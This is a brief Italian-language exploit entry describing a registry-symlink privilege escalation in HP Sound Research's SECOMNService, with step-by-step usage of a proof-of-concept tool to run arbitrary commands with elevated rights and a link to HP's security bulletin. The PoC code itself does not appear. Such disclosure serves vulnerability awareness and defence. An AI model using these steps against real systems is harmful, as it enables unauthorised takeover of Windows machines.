
HP Sound Research SECOMNService Escalation dei privilegi
HP Sound Research SECOMNService Escalation dei Privilegi. Permessi deboli del registro consentono a qualsiasi utente di creare un symlink del registro e forzare il servizio SECOMNService a creare una chiave di registro arbitraria.
Procedura:
1. soundresearch_poc.exe prepare
2. Restart SECOMNService or the machine
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup
Riferimento: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051